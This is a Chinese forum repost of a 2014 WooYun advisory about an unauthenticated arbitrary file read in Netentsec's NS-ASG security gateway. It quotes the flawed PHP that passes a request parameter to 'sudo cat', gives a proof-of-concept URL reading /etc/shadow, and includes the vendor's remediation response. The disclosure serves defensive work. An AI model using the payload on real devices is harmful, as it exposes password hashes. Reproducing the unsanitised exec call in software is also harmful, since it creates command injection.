中神通公司技术论坛 - Powered by Discuz! Board

标题: 网康 NS-ASG 应用安全网关任意文件读取（无权限限制） [打印本页]

作者: linda 时间: 2014-12-30 17:21 标题: 网康 NS-ASG 应用安全网关任意文件读取（无权限限制）

漏洞概要
缺陷编号： WooYun-2014-58908
漏洞标题：网康 NS-ASG 应用安全网关任意文件读取（无权限限制）

相关厂商：       网康科技
漏洞作者：       倪明
提交时间：       2014-04-30 11:11
修复时间：       2014-07-29 11:12
公开时间：       2014-07-29 11:12
漏洞类型：       设计不当
危害等级：       高
自评Rank：       20
漏洞状态：       厂商已经修复
漏洞来源：       http://www.wooyun.org
Tags标签：    第三方不可信程序设计不当硬件安全

漏洞详情披露状态：
2014-04-30：       细节已通知厂商并且等待厂商处理中
2014-05-01：       厂商已经确认，细节仅向厂商公开
2014-05-11：       细节向核心白帽子及相关领域专家公开
2014-05-21：       细节向普通白帽子公开
2014-06-10：       细节向实习白帽子公开
2014-07-29：       厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：今天看网康好像挺火，测了下，蛮容易就找到一个，嘿嘿（@_@）
详细说明：debug/show_logfile.php

code 区域<? include("include/common.inc");
show_logfile($filename);

function show_logfile($filename)
{
      echo "<html>\n";
      echo "<head>\n";
      echo "<script language=\"JavaScript\" src=\"/admin/help.js\"></script>\n";
      echo "<link href=\"/admin/css.css\" rel=\"stylesheet\" type=\"text/css\">\n";
      echo "</head>\n";
      echo "<body>\n";
      echo "<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n";
      echo "<tr>\n";
      echo "<td height=\"23\" width=\"95%\" background=\"images/main_09.jpg\">当前位置：显示服务日志 $filename </td>\n";
      echo "</tr>\n";
      echo "</table>\n";
      echo "<table width=\"95%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"1\">\n";
      echo "<form name=\"syslog\" method=\"post\" action=\"\" >\n";
      echo "<tr bgcolor=\"\">\n";
      echo "<td>\n";
      echo "<br>";
      echo "<TEXTAREA style=\"WIDTH: 100%; HEIGHT: 400px\" name=\"logshow\">\n";
      exec("sudo cat $filename",$read);
      $count = count($read);
      for ($i=0;$i<$count;$i++)
      {
            echo $read[$i]."\n";
      }
      echo "</TEXTAREA>\n";
      echo "</td>" ;
      echo "</tr>\n";
      echo "<tr>\n";
      echo "<td align=\"center\">\n";
      echo "<INPUT type=\"button\" class=\"input2\" value=\" 刷新 \" name=\"refresh\" onclick=\"javascript:self.location.href='show_logfile.php?filename=$filename';\" > ";
      echo "<INPUT type=\"button\" class=\"input2\" value=\" 返回 \" name=\"refresh\" onclick=\"javascript:history.back()\" > ";
      //echo "<INPUT type=\"reset\" value=\"清除日志\">\n";
      echo "</td>\n";
      echo "</tr>\n";
      echo "</form>\n";
      echo "</table>\n";

      echo "</body>\n";
      echo "</html>\n";
}
?>

代码写的很简单，漏洞也一眼就能看到，没有做任何安全方面的考虑。

poc：

https://**/debug/show_logfile.php?filename=/etc/shadow

漏洞证明：

修复方案：
版权声明：转载请注明来源倪明@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-05-01 22:02
厂商回复：4月29日，网康收到CNVD漏洞细节通知，迅速启动并同时展开了以下工作：
1.进一步验证漏洞细节，目前已确认所曝漏洞确实存在于ASG产品；
2.对全线产品进行安全自查，重点确认ASG产品是否仍存其它未知漏洞，并验证类似漏洞是否同存于其它产品线，截至目前，自查工作仍在进行中，全线产品暂未发现新的漏洞；
3.开发用于漏洞修补的更新程序，将尽快发布应急补丁包，介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补；
4.售后服务部通过内部CRM系统导出全部ASG用户名单，并开始逐一联系用户通报漏洞情况，补丁包发布后，将再次逐一通知所有用户及时安装更新，此项工作预计3工作日内完成；
5.为避免统计疏漏，工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法，将配合CNVD共同开展在线设备的主动探测工作，一旦发现未更新补丁的在线设备，将联系并协助用户及时更新，此项工作预计10工作日内完成；
6.将尽快向社会开放漏洞提交邮箱，接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞，向所有帮助网康产品进步的组织和人士表示感谢。
最新状态：2014-07-17：已随版本更新解决

原文：http://www.wooyun.org/bugs/wooyun-2014-058908

[ 本帖最后由 linda 于 2016-2-16 14:36 编辑 ]

欢迎光临中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)